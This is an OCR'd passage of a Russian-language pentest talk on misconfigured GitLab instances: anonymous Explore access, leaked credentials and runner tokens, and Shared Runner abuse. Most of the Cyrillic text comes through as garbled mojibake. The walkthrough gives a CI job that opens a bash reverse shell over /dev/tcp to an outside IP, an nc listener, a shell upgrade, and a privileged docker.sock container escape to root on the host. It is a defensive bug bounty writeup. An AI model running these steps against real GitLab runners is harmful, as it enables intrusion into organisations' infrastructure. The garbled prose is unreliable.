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Explor-um GitLab

Amuntpui [NpoxXopoB — CAeUMAAMCT MO
TECTUPOBAHMUIO HQ NPOHMKHOBEHME, CyberOK.

BBeaeHue

MeHs 30ByT AMUTPUI TTOOXOPOB, 4 NeHTECTEP M3 KOMAHABI CyberOK. HacTto HO NMpOoekTax no
MeHTECTY, A TAaKKe B nNporpammax Bug Bounty sctpeyatorcd Gitlab'sl. U BCTPEYAOTCH OHM HE TOABKO
CNeuUmMaAmcTam no Mb, Ho 1 3A0BHBIM XAKEPAM, KOTOPbIE HE MPOYb 30BAOAETh CEKPETAMM PEMOIUTOPUEB
M AOXKE MCMOAHUTL KOA HO cepsepe! Bce NpeACTABAEHHbIE MATEPUAAbI HECYT OBPA30BATEAbHbIM
Xapakrep ©

CeroaHs s bl XOTEA MOCBATUTL CBOM MOHOAOT TEM, KTO AIOOUT MPUOTKPLIBATL 30BECY TAMH CBOETO
Gitlab 4yepe3 doyHkuUMOHAA Explore 1 mokasbliBATb MHTEPECHbIE KEMCHI M3 Bug Bounty m neHtecTos, rae
HEBOAbLLAS MUCKOHAOUIYPALMS MPUBOAMT K TIKEABIM MOCAEACTBUIM.

Explore - He 6ar, a couyal

XOAMBAP HA TEMY PYHKLLMOHOAO MCCAEAOBAHMS Gitlab AAS OHOHMMHbBIX MOAB3OBATEAEN TAHYACH
HECKOABKO AeT C 2017 roaa. M 3akpbite AaHHOM domdm A0 2020 road SBASAOCH CKOpee KOCTbIAeM. HO Ha
npobaemy oOPATUAM BHUMOHME U BCE-TOKM 3AKPbLIAM Explore 1 Help AAS HEQYTEHTMAOUUMPOBAHHbIX
MOAb30BATEAEMN YEPE3 HACTPOMKM BUAMMOCTU penosmtopms (Covid ChIrPAA B 3TOM HEKYIO DOAb).

7 B Fabiano Martins @fabianomartins - 4 years ago
v

Our company has been using GitLab CE for a few years, exclusively on the internal network.

Due to COVID-19, a few weeks ago we started working from home, and being able to expose our GitLab on the Internet would make
our work much easier.

What is preventing us from doing this is a note from our security team asking to remove the "Explore” and "Help" links froem the home
page of our GitLab.

We look forward to implementation of this issue ... are there any plans to include it in any upcoming release?

~ Collapse replies
3 Brian Kabiro @briankabiro - 4 years ago Contributor
Hey @fabianomarting. The MR for this was merged a few weeks ago.

You can limit access to these pages by setting the restricted visibility level to public in the settings. | hope this works for you. :)

hitps://docs.gitlab.com/ee/user/admin_area/settings/visibility_and_access_controls.htmi#restricted-visibility-levels
hitps://docs.gitlab.com/ee/public_access/public_access.html#visibility-of-pages

a R _ .

7 % Fabiano Martins @fabianomartins - 4 years ago

wvr

yes, it solve my problem: thanks a lot, @briankabira!
&1 4

Please reqgister or sign in to reply

Puc.1

Mo3TOMY peyb, MO GOAbLLOMY CYETY, MOMAET O TEX OPraHU3AUMAX, TAE YPOBEHb BUAMAMOCTM
HOCTPOEH HEKOPPEKTHO U ACET 3A00HBIM XAKEPAM BOAbLLIE MHADOPMALMU, YEAM HYXKHO.
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B nouckax TauH.

BBeAEHME MPOLLUAO, MEPEXOAMM K MCCAEAOBAHMIO. CAOMOE OYEBMAHOE, YTO CTOMT MOMCKATH B
Gitlab — 370 TOKEHBI, API-KAIOYM U MHADOPMALLMKO O BHYTPEHHEMN CETU.

B npoekTax BCTpevyaAoch pasHoe ©:

Puc. 2 Packpsitne normHa u napoas Gitlab (https://login:pass@giflab.example.com)

®  An error occurred while fetching commit data.

modified: .gitlab-ciyml [+«

woster - | |/ S | deessh

defines.sh [% 180 bytes

Puc. 3 Packpbitne normHa m napoas bA B doaniae .sh
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I, -
master N - e -

Initial commit

T R

export os_erosect_ro- [

export OS_REGION_MAME="RegionOne"
unset 05_PROJECT_MNAME
unset 05_PROJECT_DOMAIN_ID

unset O05_TEMANT_ID
unset O5_TENANT_MAME

if [[ -z %05 _uUseRMAME 1] || [[ -z $0s_passworRD 11 || [[ "$0S_USERNAME"™ != "sib-up@mail.ru” ]1]; then

export 05_USERMN.
export OS_USER_DOMATIN_NAM

Puc. 4 Packpseitue katouen APl B gobarine .sh
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master

devops I

runner_vars.yml [ 696 bytes

itlab_runner_coordinator_url: https:/ _
o rumer_regtstration_coken: -

O_runner _runners:

oo oo oon

- name: '

executor: docker
docker_image ocker
tags:

- docker

- node

Puc. 5 Packpsitne okpyxeHus Shared Runner B goariae. yml — Ansible

M ecAM, pACCMATPUBAS NEPBLIE TPU CKPUHLLIOTA, BCE BMOAHE OY4EBMAHO (U HUYETO HOBOTO 4 HE
MOKA3AdA), TO oKpyxeHue Shared Runner'a npeACTaBASET HAMOOAbLLMIM MHTEPEC AAS DKCMOAYOTALMM
CBA3KM YI3BMMOCTEM M BbIMOAHEHMS YAQAEHHOIO KOAQ Ha cepsepe. [MpU HAAMYMM PACKPBITUS TOKEHA
Shared Runner’a mbl moxem obpatmtbCcs Hanpamyto K Gitlab 1 nepexBatmib ceccuio 30AQ4 NPoLLEeCCA
CI/CD. 210 MOXET NOMO4Yb MOAYHYMTb MEPBOHAYAABHBIN AOCTYTM K PEMOIUTOPMUIO OT MMEHM MOAb3OBATEAS

npoekTa.

AO «CAVNBEP OK» )


https://www.synacktiv.com/publications/hijacking-github-runners-to-compromise-the-organization
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PacwapeHHbie GeryHbl.

HTO XK, ECAM HA PA3AMYHbBIE TOKEHbBI M CEKPETLI PEMO3UTOPMM MYCT, TO MAEM B pasaeA CI/CD
NPOEKTA U CMOTPUM, 4TO TOM B JObs'ax:

I D o ool
| @ tailed | Job activate_staging triggered 2 days age by [ ]

Running with gitlab-runner 17.2.0 (6428c288)
on deploy-runner PiQzzcyp, system ID: s_69e32ad073fb

Using Docker executor with image ruby:2.7 ...
Pulling docker image ruby:2.7 ...

Using docker image sha256:3cb86b8c626861ba5167462228a0035dbsb2deae893f3e8fafcf256d9d3abdaa for ruby:2.7 with digest ruby@sha256:2347de892e419c7168fc21dec721d59527369689F8c3fbb7f84chsaBTaafIceTd . ..

Running on runner-pigzzcyp-project-556375-concurrent-0 via test...

Reinitialized existing Git repository in /
Removing build_prod/

Removing build_staging/
Removing node_modules/

Downloading artifacts from coordinator... ok host=gitlab. id=697551 responseStatus=200 0K token=64_&4DJ7E

Downloading artifacts from coordinator... ok host=gitlab id=697552 responseStatus=200 0K token=64_&4DJTE

Using docker image sha256:3ch86b8C626861ba5167462228a80350b6b2deas893F3eBfafcr25609d03abdaa for ruby:2.7 with digest ruby@sha256:2347de892e419c7168Fc21dec72105952736909F8c3Tob7fB4ch4a0TaafIceTd ...

1n: failed to create symbolic Link */wew/staging/master': No such file or directory

ERROR: Job fai de 1

Puc. 6 ELLie OAHO MECTO AAS YTEYEK MEPEMEHHbBIX OKPYXKEHMS

Haamume npoueccos ClI/CD — 310 y>xe XOpOLLO M 3AECh MOXHO BbICTPOMUTb MHTEPECHbIN BEKTOP,
O KOTOPOM O4eHb MOAPOBHO pacckasaan pebsra ms Pulse Security.

M MMEHHO 3TOT BEKTOP MO3BOAMA MHE MOMACTb B LLOPT-AMCT Pentest Award, a takxe 3a6parb
XOPOLLUYO 6AYHTU B OAHOM M3 Mporpamm VK.

AQBHOM MPOBAEMOM BbIA AOCTYM K AGHHOMY PEMNO3UTOPUIO. K COXAAEHUIO, YTEYKM TOKEHA Shared
Runner'a He ObIAO, HO Mbl KOK XUTPble OArXaHTEPbLI 3HAEM, YTO MPU BO3MOXHOCTM MpUobpeTeHms
AETAABHOIO AOCTYNA (AQ-AQ, He Try Harder) He >XXOAKO BAOXWMTb COOCTBEHHbLIE CPEACTBA, KOTOPbLIE C
OOAbLLIEN BEPOIATHOCTLIO OKYMATCH. M 3TO ObIA MMEHHO TAKOM CAYy4aM. HEMHOIO 30MOPOYMBLLIMCE C
BBOAOM ACHHbIX CBOEWM KAPThI, 1 MOAYYMA 30BETHbIE KPEAbBI M MOBEXAA NPOBEPITh CBOIO TEOPUIO MOXEKA
©.

Mos Teopma 3aKAKOHOAQCH B caeaylollem. Shared Runners B Gitlab — 310 coctaBagioLLOs
npouecca Pipeline cpeabl CI/CD.

AO «CAVNBEP OK»


https://pulsesecurity.co.nz/articles/OMGCICD-gitlab
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Git Push Deploy
SummerOfTechProject.git Testlab
Intern

servers

Y
Read

Stuff
engineer

Git Push
CoreProductionAPI.git Production
Execute servers
CI/CD jobs

Source Repo

Puc.7
AAS XOKEPA 3TO AOKOMBIM KYCOYEK B CAYHAE, ECAUL

1)

MNMoAb30BATEAL MMEET MPABO HA 3amnuMch B .gitlab_ci.yml B penosutopum;
2)

Runner HOXOAMTCS BO BHYTPEHHEM MHADPACTPYKTYPE.

Mo ymoadaHuio GitLab Runners AOCTYMHbI AAS KOXKAOTMO MpoekTd. 3TO O3HA4AeT, 4TO

3AOYMBILLAEHHUKY He TpebyeTrcs AOCTYN K OMPEAESAEHHOMY PENO3UTOPUIO AAR MPOBEAEHMS CATOK.

3AOYMBILLAEHHMK, UMEIOLLIMM AtoBoM aAocCTyn K GifLab, moxeT co3AATb AMYHbIM PEMO3UTOPUM M HAYATb
ATOKOBATb MHADPACTPYKTYRY PAHHEPA.

\&*

SummerOfTechProject.git

Git Push
7’

Intern

\ Testlab
& servers

Git Push
Stuff

engineer

CoreProductionAPI.git Production
Execute

servers
CI/CD jobs

Source Repo
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BoAaee TOro, Kak MPAaBMAO, AAS BTOTO mcnoAbsyercs «docker-in-dockem (DIND) aAf cO3AQHMUS
KOHTEMHEePa BHYTPM KoHBenepa (Pipeline).

Mo YKQ3QHHOM BbILLIE CXEME-KAPTUHKE, B KA4ECTBE OAHOTAQ30ro AXO, g npoLueacs, mzydas Cl/CD
Ha cepsepe Gitlab.

Moxek ©

HeMHOro mnpomradch Mo MPOEKTAM 3AOMOAYYHOTO PEMO3UTOPMS, 306PAB LLABAOHHLIM .gitlab_ci.yml
M YAQAMB OTTYAQ BCE AULLIHEE, 9 COBPAA TAKOM BOT AXKEHTEABMEHCKMM HOBOP OYKOBOK:

& C s Imps:,,,gitla_,"lest_lce,’- /ci/editor?branch_name=master

= | Q Mouck 8 GitLab /

T _ est Ree PepakTop c60pOYHbIX NUHWIA
Q
tg ¥ master v
o - _ .
(®) Pipeline #164375 HeypauHo for 4d0bld4e: Update .gitlab-ci.yml file
b9
g v Pipeline syntax is correct. lNoapo6Hee
V)
@ MNpaeka Busyanusauus Validate NpocMoTpeTb 06beAnHEHHbIM YAML
a
o (7 Browse templates @ Momouws
o]
stages:
& - build
jn
4 exploit]
(] tags:
X image:
name: ubuntu:latest
@ stage: build
script:

- echo "Compiling the

- echo "Compile ¢

- bash -i >& /dev/tcp/9

Puc.9

MNepea TEM KAK MPOBOAUTE MAHUMYAILMM, BODKHO KAQLHYTb HO PAHHEP, KOTOPbIM HOM HY>XEH B
HacTpowmkax Cl/CD peno3utopus.

NoaHMMaem Ha ceoen Front Gun nyLuke nc:

Puc.10

3anycKaem BUAA U XKAEM MPUAETA HALLETO BIKKOHHEKTA.

AO «CAVNBEP OK»
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root82229691i- i~ nc -vv -k -1 -p 4321
Listening on 0.0.0.0 4321
Connection received on
cannot set terminal process group (1): Inappropriate ioctl for device
job control in this shell

ncurrent-0:,/builds/

Puc.11

M mbl B aokepe. TNoAydeHHbIM shell KprBo U HeyAOBHbIM. [To3TOMY MOoAyYaem xopoLumit TTY (kak
Xe TyT 6e3 Tabos 1 .bash_history):

apt update
apt install python3
python3 -c 'import pty; pty.spawn('/bin/bash")’
# Ctrl+Z
stty raw -echo; fg; Is; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;
M BOT Mbl ryasem no cpeae Shared Runner'a. KOHEYHO, HOM OT HETO HUMKAKOTO MMMAKTA, KPOME
KOK BO3MOXHbBIX OMAAOB APYTMX MOAb3OBATEAEM. HO MbI XK€ B AOKEPE, A 3HAYMT HY>XKHO MOBLILLIATLCH AO
AOKEP-XOCTA.

1 B MOEM KeMce BCe MPOLLUAO AOCTATOYHO TPMBUAABHO :)

30XOAMM B /vVAr 1 BUAMM MO AECDOATY AexaLLmk docker.sock.

-la /run/docker.sock

Puc.12

TyT Y MEHS$ rAQ3a 3aropeAmcb! HactpamBaem cpeay AAf 3anycka docker-ce:

apt install apt-transport-https ca-certificates curl software-properties-common -y

curl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -

add-apt-repository "deb [arch=amdé4] https://download.docker.com/linux/ubuntu bionic stable"
apt update

apt install docker-ce -y

M BBOAMM 3CBETHYIO KOMOHAY AAS MPOCOUTA:

docker run -it --privileged -v /:/host/ ubuntu bash -c "chroot /host/"

AO «CAVNBEP OK»
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i -v /:/host/ ubuntu bash

yot) groups=0 (root)

HHHKHRHKHHHH

root

> usr/sbin

HHHRHRHHNHN

Puc. 13

3abera ¢ PyTom NOCMOTPETL, O HTO TAM B /home 1 HaABAIOAQIO MOAB3OBATEAEM MHADPSLI.

sh—-4.4% 1ls -1la
total 0
drwxr-xr-x. 11 root 200 Oct 18 16:37
dr-xr-xr-x. 17 root 244 Dec 22 2021 ..
drwxr-xr-x 3 Users 78 Dec 27 2022 a A
drwxr-xr-x 3 Users 78 Mar 24 2023 a
drwx—————— 2 62 Jul 20 2022 c
drwxr-xr—x 3 Users 99 Jul 20 2022 d
drwxr—-xr—x 2 Users 83 Apr 14 2023 d
drwx—————— 2 gitlab-runner 6 Jul 20 2022 g
drwxr—-xr—x 2 Domain Users 62 Oct 18 16:37 m
Puc.14

C4aCTblo HEe BbIAO MPEAEAQ M OTHET HAYOA MMCATLCS MOA BbIBPOC AETKOTO aAPEHAAMH). OTAEABHAS
BAAroAapPHOCTb KOMAHAE VK 30 BbICTPbIM TPUAXK M OTAMYHYIO BbIMAQTY!

AO «CAVNBEP OK»
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‘ B 3akAloHeHue

AA TIOAHOTO  MOHMMOHMUS  BbILLEYKA3AHHOM  LIEMOYKM
YA3BMMOCTEN MOXHO MPUBECTU CAEAYIOLLLYIO CXEMY:

Y Packpurme Toxema
Shared Runner
Mugopmauus o
nponeccax CI/CD
CVE, nySanunse

sxcnnoiTy

EXPLORE

Hocryn
B Gitlab?

Sanycx BpeRoHOCHOro
npouecca CI/CD

Yreuxa API-Toxemos,

cexperos, mum@opmammm
© BHyTpemHe# ceTu

Puc.15
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PA3AMYHBIX  MMCKOHJOUIypaLUMi 1

PackpuTie nepememux
oxpyxenus,
WYBCTBHTENBRIX
Rammux nonssosaTens
cx/co

Nosumenve npuBMAErHit
» xomrexcre Docker

Bo3paLLLadgCh KO BTOPOMY 3AroAoBKy: «Explore — He 6ar, a domdaly, CTOUT OTMETUTb, HTO AQHHbIM
AOYHKUMOHAA, AOCTYMHbIM QHOHMAMHOAMY MOAb30BATEAID — 3TO BCe-TAKM Bar. OTCAEXMBATL BCE MPOLLECChI
M nywwm, npoucxoadwme B Gitlab, a Takke TO, KAKME AQHHbIE OYAYT AOCTYMHbI (CAYYQAMHOMY)
MOAB3OBATEAID, KDAMHE CAOXHO. [TO3TOMY CTOUT CEPLEIHO OTHECTUCH K HOCTPOMKE MPUBATHOCTU BALLIETO

PEno3nTopPUs.

Mo AGHHBIM HaLLen «knbepbaaamkmy CKUIMA Ha TekyLLLMM MOMEHT B PyHeTe pa3sepHyTo 14798
mHcTaHcoB C Gitlab 13 kotopbix 3263 MMEIOT BKAKOYEHHbIM OYHKLMOHAA EXxplore AAf QHOHWMMHBIX
MOAb3OBATEAEM, YTO MOTEHLLMAABHO TOBOPUT O BO3MOXKHOM YTEYKE YYBCTBUTEAbHbBIX AQHHbIX.

AO «CAVNBEP OK»
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B location.country:RU and product.name:gitlab and misconfiguration.name:gitlab-misconfiguration-public-explore

* w

MNokasats BCe

Q IP-agpec v Mopt Npotokon  + fomen v RU v lopop Hassakne M0~ Bepcua M0 CVE ~

Beero xocToB: 3 263 4 Json XocToB Ha cTpaHuye: 50 v 1-50 M3 3 263

YA3BUMOCTY

2 443/ HTTPS ® nginx CVE-2023-7028

© gitlab CVE-2023-2825
HTTP/1.1 200 OK\r\nServer: nginx\r\nDate: <REDACTED>\r\nContent-Type:
text/html; charset=utf-8\rinSet-Cookie: _gitlab_session=<REDACTED>;
path=/; expires=<REDACTED>; secure; HttpOnly; SameSite=None\r\nX-Frame-
W Pocouiickan Geaepauna Options: DENY\r\nX-Content-Type-Options: nosniffir\nReferrer-Policy:

same-origin\r\nCross-Origin-Opener-Policy: same-origin\rinContent
Encoding: gzip\rinX-Request-Id: 81J6C65AXQM55ZKTSQHHZSSTBM\r\nX
Download-Options: noopen

_ 1 443 / HTTPS @ nginx CVE-2023-7028
& gitlab
_ HTTP/1.1 288 OK\r\nServer: nginx\r\nDate: <REDACTED>\r\nContent-Type:
—— text/html; charset=utf-B\r\nSet-Cookie: _gitlab_session=<REDACTED>;
path=/; expires=<REDACTED>; secure; HttpOnly; SameSite=None\r\nX-Frame-
Options: DENY\r\nX-Content-Type-Options: nosniffirinReferrer-Policy:
same-origin\r\nCross-Origin-Opener-Policy: same-origin\rinContent-

Encoding: gzip\rinX-Request-Id: @1J6C65AXQM55ZKTSQHHZSSTEM\ rinX-
Download-Options: noopen

W Poccuitckan Geaepauna

Puc.16

HeaaosHee nccaeaosanume Truffle Security ewe oaHou «douymy, 3atparmeatoren Github 1 B Tom
YUCAE HACTHble peno3utopum Gitlab, CBA3GHHOM C PACKPLITUEM YYBCTBUTEABHBIX AQHHbLIX B GOOPKAX

MPOEKTA, HOBOAMT HA MbBICAb, YTO YKO3AHHbIE WMHCTAHCHI AOAXHbI OblTb TLLATEABHO 3QKPbITbI OT
MOCTOPOHHMUX FAQ3 U TEM BOAEE 3AOBHbBIX XOKEPOB.

AaBamTte AeAQTb HaL PyHeT 6e3onacHee!l ©
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https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github

